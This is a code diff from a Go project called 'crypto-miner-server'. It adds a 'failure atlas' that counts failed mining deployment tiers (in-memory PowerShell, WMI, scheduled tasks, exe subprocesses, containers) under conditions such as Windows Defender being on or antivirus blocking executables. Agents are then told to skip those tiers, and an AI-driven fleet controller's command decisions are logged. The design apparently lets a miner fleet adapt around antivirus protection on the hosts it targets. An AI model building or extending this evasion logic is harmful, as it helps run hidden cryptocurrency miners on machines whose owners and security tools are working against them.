if hub.failureAtlas.ShouldSkipSubtree(fp.Key(), "container", probes, fp) {
|
||||||
|
skipped = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
time.Sleep(25 * time.Millisecond)
|
||||||
|
}
|
||||||
|
if !skipped {
|
||||||
|
t.Fatal("expected container subtree skip after 5 no-docker failures")
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = conn.Close()
|
||||||
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
|
||||||
|
conn2, _ := dialAgentWS(t, hub)
|
||||||
|
resp := authAgentConn(t, conn2, map[string]interface{}{
|
||||||
|
"agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test",
|
||||||
|
})
|
||||||
|
var authBody map[string]interface{}
|
||||||
|
if err := json.Unmarshal(resp.Payload, &authBody); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
rawSkips, ok := authBody["atlas_skips"]
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected atlas_skips in auth_response")
|
||||||
|
}
|
||||||
|
skipData, _ := json.Marshal(rawSkips)
|
||||||
|
var skips []atlas.AtlasSkip
|
||||||
|
if err := json.Unmarshal(skipData, &skips); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
found := false
|
||||||
|
for _, s := range skips {
|
||||||
|
if s.Tier == "container" || s.Tier == "docker_load" {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("expected container subtree in atlas_skips, got %+v", skips)
|
||||||
|
}
|
||||||
|
|
||||||
|
rawAdaptive, ok := authBody["adaptive_strategy"]
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected adaptive_strategy with merged atlas skips")
|
||||||
|
}
|
||||||
|
adaptiveData, _ := json.Marshal(rawAdaptive)
|
||||||
|
var adaptive strategy.AdaptiveStrategy
|
||||||
|
if err := json.Unmarshal(adaptiveData, &adaptive); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
skipMerged := false
|
||||||
|
for _, tier := range adaptive.SkipTiers {
|
||||||
|
if tier == "container" || tier == "docker_load" {
|
||||||
|
skipMerged = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !skipMerged {
|
||||||
|
t.Fatalf("expected container subtree in adaptive_strategy.skip_tiers, got %+v", adaptive.SkipTiers)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIntegrationAIOverridesAdaptive verifies ai_control_enabled suppresses adaptive strategy paths.
|
||||||
|
func TestIntegrationAIOverridesAdaptive(t *testing.T) {
|
||||||
|
hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{AIControlEnabled: true})
|
||||||
|
hub.SetFleetSecret("test-secret")
|
||||||
|
|
||||||
|
agentID := "ai-override-agent"
|
||||||
|
if err := database.UpsertAgent(&models.Agent{
|
||||||
|
ID: agentID, Name: "ai-node", Platform: "windows", Status: "online",
|
||||||
|
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, _ := dialAgentWS(t, hub)
|
||||||
|
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||||
|
"agent_id": agentID, "fleet_secret": "test-secret",
|
||||||
|
"wallet": "4" + repeatChar('C', 94), "hostname": "ai-node", "platform": "windows", "version": "test",
|
||||||
|
})
|
||||||
|
var payload map[string]interface{}
|
||||||
|
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, ok := payload["adaptive_strategy"]; ok {
|
||||||
|
t.Fatal("adaptive_strategy must be omitted when ai_control_enabled")
|
||||||
|
}
|
||||||
|
|
||||||
|
snap, ok := hub.FleetAISnapshot(agentID)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("snapshot not found")
|
||||||
|
}
|
||||||
|
if snap.Adaptive != nil {
|
||||||
|
t.Fatalf("FleetAISnapshot must omit adaptive when AI control enabled, got %+v", snap.Adaptive)
|
||||||
|
}
|
||||||
|
if sent := hub.PushAdaptiveStrategyUpdates(); sent != 0 {
|
||||||
|
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
97
server/internal/atlas/conditions.go
Normal file
97
server/internal/atlas/conditions.go
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
package atlas
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ProbeSnapshot mirrors live environment probes used for atlas matching.
|
||||||
|
type ProbeSnapshot struct {
|
||||||
|
Docker bool
|
||||||
|
WSL bool
|
||||||
|
PowerShell bool
|
||||||
|
DotNet bool
|
||||||
|
GPU bool
|
||||||
|
AVBlocksExe bool
|
||||||
|
DefenderOn bool
|
||||||
|
DefenderRTP bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractConditions returns active negative-space condition tags for a host snapshot.
|
||||||
|
func ExtractConditions(fp strategy.HostFingerprint, probes ProbeSnapshot) []string {
|
||||||
|
var out []string
|
||||||
|
switch strings.ToLower(fp.GOOS) {
|
||||||
|
case "windows":
|
||||||
|
out = append(out, ConditionGOOSWindows)
|
||||||
|
case "linux":
|
||||||
|
out = append(out, ConditionGOOSLinux)
|
||||||
|
case "darwin":
|
||||||
|
out = append(out, ConditionGOOSDarwin)
|
||||||
|
}
|
||||||
|
if probes.DefenderOn || probes.DefenderRTP || fp.AVBlocks {
|
||||||
|
out = append(out, ConditionDefenderOn)
|
||||||
|
}
|
||||||
|
if probes.AVBlocksExe || fp.AVBlocks {
|
||||||
|
out = append(out, ConditionAVBlocksExe)
|
||||||
|
}
|
||||||
|
if !probes.Docker && !fp.Docker {
|
||||||
|
out = append(out, ConditionNoDocker)
|
||||||
|
}
|
||||||
|
if !probes.WSL && !fp.WSL {
|
||||||
|
out = append(out, ConditionNoWSL)
|
||||||
|
}
|
||||||
|
if !probes.PowerShell {
|
||||||
|
out = append(out, ConditionNoPowerShell)
|
||||||
|
}
|
||||||
|
if !probes.DotNet {
|
||||||
|
out = append(out, ConditionNoDotNet)
|
||||||
|
}
|
||||||
|
if !probes.GPU && !fp.GPU {
|
||||||
|
out = append(out, ConditionNoGPU)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProbeSnapshotFromMaps builds a probe snapshot from stats / auth telemetry.
|
||||||
|
func ProbeSnapshotFromMaps(
|
||||||
|
fp strategy.HostFingerprint,
|
||||||
|
probes map[string]bool,
|
||||||
|
defenderEnabled, defenderRTP *bool,
|
||||||
|
) ProbeSnapshot {
|
||||||
|
snap := ProbeSnapshot{
|
||||||
|
Docker: fp.Docker,
|
||||||
|
WSL: fp.WSL,
|
||||||
|
GPU: fp.GPU,
|
||||||
|
AVBlocksExe: fp.AVBlocks,
|
||||||
|
}
|
||||||
|
if probes != nil {
|
||||||
|
if v, ok := probes["docker"]; ok {
|
||||||
|
snap.Docker = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["wsl"]; ok {
|
||||||
|
snap.WSL = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["gpu"]; ok {
|
||||||
|
snap.GPU = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["av_blocks_exe"]; ok {
|
||||||
|
snap.AVBlocksExe = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["pwsh"]; ok {
|
||||||
|
snap.PowerShell = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["dotnet"]; ok {
|
||||||
|
snap.DotNet = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if defenderRTP != nil && *defenderRTP {
|
||||||
|
snap.DefenderRTP = true
|
||||||
|
snap.DefenderOn = true
|
||||||
|
snap.AVBlocksExe = true
|
||||||
|
}
|
||||||
|
if defenderEnabled != nil && *defenderEnabled {
|
||||||
|
snap.DefenderOn = true
|
||||||
|
}
|
||||||
|
return snap
|
||||||
|
}
|
||||||
211
server/internal/atlas/failure_atlas.go
Normal file
211
server/internal/atlas/failure_atlas.go
Normal file
@@ -0,0 +1,211 @@
|
|||||||
|
package atlas
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
// FailureAtlas records conditioned tier failures and derives hard subtree skips.
|
||||||
|
type FailureAtlas struct {
|
||||||
|
db *db.Database
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewFailureAtlas(database *db.Database) *FailureAtlas {
|
||||||
|
return &FailureAtlas{db: database}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RecordFailure increments failure counters for each active condition on a failed tier attempt.
|
||||||
|
func (a *FailureAtlas) RecordFailure(fingerprintBucket, tier string, conditions []string) error {
|
||||||
|
if a == nil || a.db == nil || strings.TrimSpace(fingerprintBucket) == "" || strings.TrimSpace(tier) == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
tier = normalizeTier(tier)
|
||||||
|
for _, cond := range conditions {
|
||||||
|
cond = strings.TrimSpace(cond)
|
||||||
|
if cond == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := a.db.UpsertFailureAtlasPattern(fingerprintBucket, cond, tier); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ShouldSkipSubtree reports whether atlas rules block attempting tier on this fingerprint.
|
||||||
|
func (a *FailureAtlas) ShouldSkipSubtree(fingerprintBucket, tier string, probes ProbeSnapshot, fp strategy.HostFingerprint) bool {
|
||||||
|
if a == nil || a.db == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
rules, err := a.matchingRules(fingerprintBucket, fp.GOOS, ExtractConditions(fp, probes))
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
target := normalizeTier(tier)
|
||||||
|
for _, rule := range rules {
|
||||||
|
for _, branch := range rule.Subtree {
|
||||||
|
if normalizeTier(branch) == target {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if tierInSubtree(target, rule.Tier) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAtlasRules returns active atlas rules for a fingerprint bucket (UI / AI).
|
||||||
|
func (a *FailureAtlas) GetAtlasRules(fingerprintBucket, goos string) ([]AtlasRule, error) {
|
||||||
|
if a == nil || a.db == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return rulesFromPatterns(patterns), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ComputeSkips returns hard skip entries for the current host snapshot.
|
||||||
|
func (a *FailureAtlas) ComputeSkips(
|
||||||
|
fp strategy.HostFingerprint,
|
||||||
|
probes map[string]bool,
|
||||||
|
defenderEnabled, defenderRTP *bool,
|
||||||
|
) ([]AtlasSkip, error) {
|
||||||
|
if a == nil || a.db == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
snap := ProbeSnapshotFromMaps(fp, probes, defenderEnabled, defenderRTP)
|
||||||
|
rules, err := a.matchingRules(fp.Key(), fp.GOOS, ExtractConditions(fp, snap))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
var skips []AtlasSkip
|
||||||
|
for _, rule := range rules {
|
||||||
|
for _, branch := range rule.Subtree {
|
||||||
|
key := normalizeTier(branch) + "|" + rule.Condition
|
||||||
|
if seen[key] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[key] = true
|
||||||
|
skips = append(skips, AtlasSkip{
|
||||||
|
Tier: branch,
|
||||||
|
Condition: rule.Condition,
|
||||||
|
Reason: rule.Reason,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return skips, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// MergeSkipsIntoStrategy adds atlas hard skips into an adaptive strategy plan.
|
||||||
|
func MergeSkipsIntoStrategy(strat *strategy.AdaptiveStrategy, skips []AtlasSkip) {
|
||||||
|
if strat == nil || len(skips) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
have := make(map[string]bool, len(strat.SkipTiers))
|
||||||
|
for _, t := range strat.SkipTiers {
|
||||||
|
have[normalizeTier(t)] = true
|
||||||
|
}
|
||||||
|
for _, skip := range skips {
|
||||||
|
tier := normalizeTier(skip.Tier)
|
||||||
|
if tier == "" || have[tier] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
have[tier] = true
|
||||||
|
strat.SkipTiers = append(strat.SkipTiers, tier)
|
||||||
|
label := strings.ReplaceAll(tier, "_", " ")
|
||||||
|
strat.Reasoning = append(strat.Reasoning, strategy.StrategyReason{
|
||||||
|
Fact: "Failure atlas: " + label + " blocked under " + conditionLabel(skip.Condition),
|
||||||
|
Inference: skip.Reason,
|
||||||
|
Action: "Hard skip " + label + " subtree",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
order := make([]string, 0, len(strat.TierOrder))
|
||||||
|
for _, t := range strat.TierOrder {
|
||||||
|
if !have[normalizeTier(t)] {
|
||||||
|
order = append(order, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
strat.TierOrder = order
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *FailureAtlas) matchingRules(fingerprintBucket, goos string, activeConditions []string) ([]AtlasRule, error) {
|
||||||
|
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
active := make(map[string]bool, len(activeConditions))
|
||||||
|
for _, c := range activeConditions {
|
||||||
|
active[c] = true
|
||||||
|
}
|
||||||
|
var out []AtlasRule
|
||||||
|
for _, p := range patterns {
|
||||||
|
if p.FailCount < MinFailCountForSubtree {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(active) > 0 && !active[p.Condition] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
rule := AtlasRule{
|
||||||
|
Tier: p.Tier,
|
||||||
|
Condition: p.Condition,
|
||||||
|
FailCount: p.FailCount,
|
||||||
|
FingerprintBucket: p.FingerprintBucket,
|
||||||
|
Subtree: subtreeTiers(p.Tier),
|
||||||
|
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
|
||||||
|
}
|
||||||
|
out = append(out, rule)
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func rulesFromPatterns(patterns []db.FailureAtlasPattern) []AtlasRule {
|
||||||
|
out := make([]AtlasRule, 0, len(patterns))
|
||||||
|
for _, p := range patterns {
|
||||||
|
if p.FailCount < MinFailCountForSubtree {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, AtlasRule{
|
||||||
|
Tier: p.Tier,
|
||||||
|
Condition: p.Condition,
|
||||||
|
FailCount: p.FailCount,
|
||||||
|
FingerprintBucket: p.FingerprintBucket,
|
||||||
|
Subtree: subtreeTiers(p.Tier),
|
||||||
|
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func conditionLabel(cond string) string {
|
||||||
|
switch cond {
|
||||||
|
case ConditionDefenderOn:
|
||||||
|
return "Defender on"
|
||||||
|
case ConditionNoDocker:
|
||||||
|
return "no Docker"
|
||||||
|
case ConditionAVBlocksExe:
|
||||||
|
return "AV blocks exe"
|
||||||
|
case ConditionGOOSWindows:
|
||||||
|
return "Windows"
|
||||||
|
case ConditionGOOSLinux:
|
||||||
|
return "Linux"
|
||||||
|
case ConditionGOOSDarwin:
|
||||||
|
return "macOS"
|
||||||
|
case ConditionNoWSL:
|
||||||
|
return "no WSL"
|
||||||
|
case ConditionNoPowerShell:
|
||||||
|
return "no PowerShell"
|
||||||
|
case ConditionNoDotNet:
|
||||||
|
return "no dotnet"
|
||||||
|
case ConditionNoGPU:
|
||||||
|
return "no GPU"
|
||||||
|
default:
|
||||||
|
return strings.ReplaceAll(cond, "_", " ")
|
||||||
|
}
|
||||||
|
}
|
||||||
69
server/internal/atlas/failure_atlas_test.go
Normal file
69
server/internal/atlas/failure_atlas_test.go
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
package atlas
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRecordFiveDefenderPowerShellFailuresSkipSubtree(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
fp := strategy.HostFingerprint{GOOS: "windows", AVBlocks: true, Subnet: "192.168.1"}
|
||||||
|
key := fp.Key()
|
||||||
|
atlas := NewFailureAtlas(database)
|
||||||
|
|
||||||
|
for i := 0; i < 5; i++ {
|
||||||
|
if err := atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
probes := ProbeSnapshot{DefenderOn: true, PowerShell: true, Docker: true, WSL: true, DotNet: true}
|
||||||
|
if !atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||||
|
t.Fatal("expected ps_inmemory subtree skip after 5 defender failures")
|
||||||
|
}
|
||||||
|
|
||||||
|
rules, err := atlas.GetAtlasRules(key, fp.GOOS)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(rules) == 0 || rules[0].FailCount < MinFailCountForSubtree {
|
||||||
|
t.Fatalf("expected active atlas rule, got %+v", rules)
|
||||||
|
}
|
||||||
|
|
||||||
|
skips, err := atlas.ComputeSkips(fp, nil, nil, boolPtr(true))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(skips) == 0 || skips[0].Tier != "ps_inmemory" {
|
||||||
|
t.Fatalf("expected ps_inmemory atlas skip, got %+v", skips)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestShouldSkipSubtreeRequiresActiveCondition(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
fp := strategy.HostFingerprint{GOOS: "windows", Subnet: "10.0.0"}
|
||||||
|
key := fp.Key()
|
||||||
|
atlas := NewFailureAtlas(database)
|
||||||
|
for i := 0; i < 5; i++ {
|
||||||
|
_ = atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn})
|
||||||
|
}
|
||||||
|
|
||||||
|
probes := ProbeSnapshot{DefenderOn: false, PowerShell: true}
|
||||||
|
if atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||||
|
t.Fatal("should not skip when defender condition is inactive")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func boolPtr(v bool) *bool { return &v }
|
||||||
45
server/internal/atlas/subtree.go
Normal file
45
server/internal/atlas/subtree.go
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
package atlas
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// subtreeForTier maps a failed parent tier to mining tiers that should be hard-skipped.
|
||||||
|
var subtreeForTier = map[string][]string{
|
||||||
|
"ps_inmemory": {"ps_inmemory"},
|
||||||
|
"powershell": {"ps_inmemory"},
|
||||||
|
"dotnet": {"dotnet"},
|
||||||
|
"exe_subprocess": {"exe_subprocess"},
|
||||||
|
"wsl": {"wsl"},
|
||||||
|
"container": {"container", "docker_load"},
|
||||||
|
"docker_load": {"docker_load", "container"},
|
||||||
|
"docker": {"container", "docker_load"},
|
||||||
|
"gpu_subprocess": {"gpu_subprocess", "gpu_compute"},
|
||||||
|
"gpu_compute": {"gpu_compute", "gpu_subprocess"},
|
||||||
|
"stratum_direct": {"stratum_direct"},
|
||||||
|
"wmi": {"wmi"},
|
||||||
|
"scheduled_task": {"scheduled_task"},
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeTier(tier string) string {
|
||||||
|
return strings.ToLower(strings.TrimSpace(tier))
|
||||||
|
}
|
||||||
|
|
||||||
|
func subtreeTiers(tier string) []string {
|
||||||
|
key := normalizeTier(tier)
|
||||||
|
if branch, ok := subtreeForTier[key]; ok {
|
||||||
|
return append([]string(nil), branch...)
|
||||||
|
}
|
||||||
|
if key != "" {
|
||||||
|
return []string{key}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func tierInSubtree(target, parent string) bool {
|
||||||
|
target = normalizeTier(target)
|
||||||
|
for _, t := range subtreeTiers(parent) {
|
||||||
|
if normalizeTier(t) == target {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
43
server/internal/atlas/types.go
Normal file
43
server/internal/atlas/types.go
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
package atlas
|
||||||
|
|
||||||
|
// MinFailCountForSubtree is how many conditioned failures before a subtree is hard-skipped.
|
||||||
|
const MinFailCountForSubtree = 5
|
||||||
|
|
||||||
|
// Well-known probe / posture conditions recorded with each failure pattern.
|
||||||
|
const (
|
||||||
|
ConditionDefenderOn = "defender_on"
|
||||||
|
ConditionNoDocker = "no_docker"
|
||||||
|
ConditionAVBlocksExe = "av_blocks_exe"
|
||||||
|
ConditionGOOSWindows = "goos=windows"
|
||||||
|
ConditionGOOSLinux = "goos=linux"
|
||||||
|
ConditionGOOSDarwin = "goos=darwin"
|
||||||
|
ConditionNoWSL = "no_wsl"
|
||||||
|
ConditionNoPowerShell = "no_pwsh"
|
||||||
|
ConditionNoDotNet = "no_dotnet"
|
||||||
|
ConditionNoGPU = "no_gpu"
|
||||||
|
)
|
||||||
|
|
||||||
|
// FailurePattern is one aggregated negative-space bucket in SQLite.
|
||||||
|
type FailurePattern struct {
|
||||||
|
FingerprintBucket string `json:"fingerprint_bucket"`
|
||||||
|
Condition string `json:"condition"`
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
FailCount int `json:"fail_count"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// AtlasRule is a learned skip rule exposed to UI / AI.
|
||||||
|
type AtlasRule struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
Condition string `json:"condition"`
|
||||||
|
FailCount int `json:"fail_count"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
Subtree []string `json:"subtree,omitempty"`
|
||||||
|
FingerprintBucket string `json:"fingerprint_bucket,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// AtlasSkip is one hard skip pushed to agents and diagnostics.
|
||||||
|
type AtlasSkip struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
Condition string `json:"condition"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
}
|
||||||
@@ -14,6 +14,11 @@ type AIDecisionRecord struct {
|
|||||||
Response string `json:"response"`
|
Response string `json:"response"`
|
||||||
CommandsExecuted string `json:"commands_executed"`
|
CommandsExecuted string `json:"commands_executed"`
|
||||||
Timestamp string `json:"ts"`
|
Timestamp string `json:"ts"`
|
||||||
|
|
||||||
|
CourtSession bool `json:"court_session,omitempty"`
|
||||||
|
ProsecutorSnippet string `json:"prosecutor_snippet,omitempty"`
|
||||||
|
DefenderSnippet string `json:"defender_snippet,omitempty"`
|
||||||
|
JudgeVerdict string `json:"judge_verdict,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) ensureAIDecisionsTable() error {
|
func (d *Database) ensureAIDecisionsTable() error {
|
||||||
@@ -30,20 +35,42 @@ func (d *Database) ensureAIDecisionsTable() error {
|
|||||||
}
|
}
|
||||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_agent ON ai_decisions(agent_id)`)
|
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_agent ON ai_decisions(agent_id)`)
|
||||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_ts ON ai_decisions(ts)`)
|
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_ts ON ai_decisions(ts)`)
|
||||||
|
d.ensureAIDecisionsCourtColumns()
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) ensureAIDecisionsCourtColumns() {
|
||||||
|
cols := []struct{ name, ddl string }{
|
||||||
|
{"court_session", `ALTER TABLE ai_decisions ADD COLUMN court_session INTEGER NOT NULL DEFAULT 0`},
|
||||||
|
{"prosecutor_snippet", `ALTER TABLE ai_decisions ADD COLUMN prosecutor_snippet TEXT NOT NULL DEFAULT ''`},
|
||||||
|
{"defender_snippet", `ALTER TABLE ai_decisions ADD COLUMN defender_snippet TEXT NOT NULL DEFAULT ''`},
|
||||||
|
{"judge_verdict", `ALTER TABLE ai_decisions ADD COLUMN judge_verdict TEXT NOT NULL DEFAULT ''`},
|
||||||
|
}
|
||||||
|
for _, c := range cols {
|
||||||
|
var n int
|
||||||
|
_ = d.QueryRow(`SELECT COUNT(*) FROM pragma_table_info('ai_decisions') WHERE name = ?`, c.name).Scan(&n)
|
||||||
|
if n == 0 {
|
||||||
|
_, _ = d.Exec(c.ddl)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// InsertAIDecision logs one fleet AI decision cycle.
|
// InsertAIDecision logs one fleet AI decision cycle.
|
||||||
func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
|
func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error {
|
||||||
if d == nil {
|
if d == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
if err := d.ensureAIDecisionsTable(); err != nil {
|
if err := d.ensureAIDecisionsTable(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
courtInt := 0
|
||||||
|
if courtSession {
|
||||||
|
courtInt = 1
|
||||||
|
}
|
||||||
_, err := d.Exec(
|
_, err := d.Exec(
|
||||||
`INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed) VALUES (?, ?, ?, ?)`,
|
`INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed, court_session, prosecutor_snippet, defender_snippet, judge_verdict)
|
||||||
agentID, promptHash, response, commandsExecuted,
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||||
|
agentID, promptHash, response, commandsExecuted, courtInt, prosecutorSnippet, defenderSnippet, judgeVerdict,
|
||||||
)
|
)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -68,13 +95,15 @@ func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecor
|
|||||||
agentID = strings.TrimSpace(agentID)
|
agentID = strings.TrimSpace(agentID)
|
||||||
if agentID != "" {
|
if agentID != "" {
|
||||||
rows, err = d.Query(
|
rows, err = d.Query(
|
||||||
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts
|
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts,
|
||||||
|
court_session, prosecutor_snippet, defender_snippet, judge_verdict
|
||||||
FROM ai_decisions WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
|
FROM ai_decisions WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
|
||||||
agentID, limit,
|
agentID, limit,
|
||||||
)
|
)
|
||||||
} else {
|
} else {
|
||||||
rows, err = d.Query(
|
rows, err = d.Query(
|
||||||
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts
|
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts,
|
||||||
|
court_session, prosecutor_snippet, defender_snippet, judge_verdict
|
||||||
FROM ai_decisions ORDER BY id DESC LIMIT ?`,
|
FROM ai_decisions ORDER BY id DESC LIMIT ?`,
|
||||||
limit,
|
limit,
|
||||||
)
|
)
|
||||||
@@ -88,10 +117,15 @@ func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecor
|
|||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
var rec AIDecisionRecord
|
var rec AIDecisionRecord
|
||||||
var ts string
|
var ts string
|
||||||
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts); err != nil {
|
var courtInt int
|
||||||
|
if err := rows.Scan(
|
||||||
|
&rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts,
|
||||||
|
&courtInt, &rec.ProsecutorSnippet, &rec.DefenderSnippet, &rec.JudgeVerdict,
|
||||||
|
); err != nil {
|
||||||
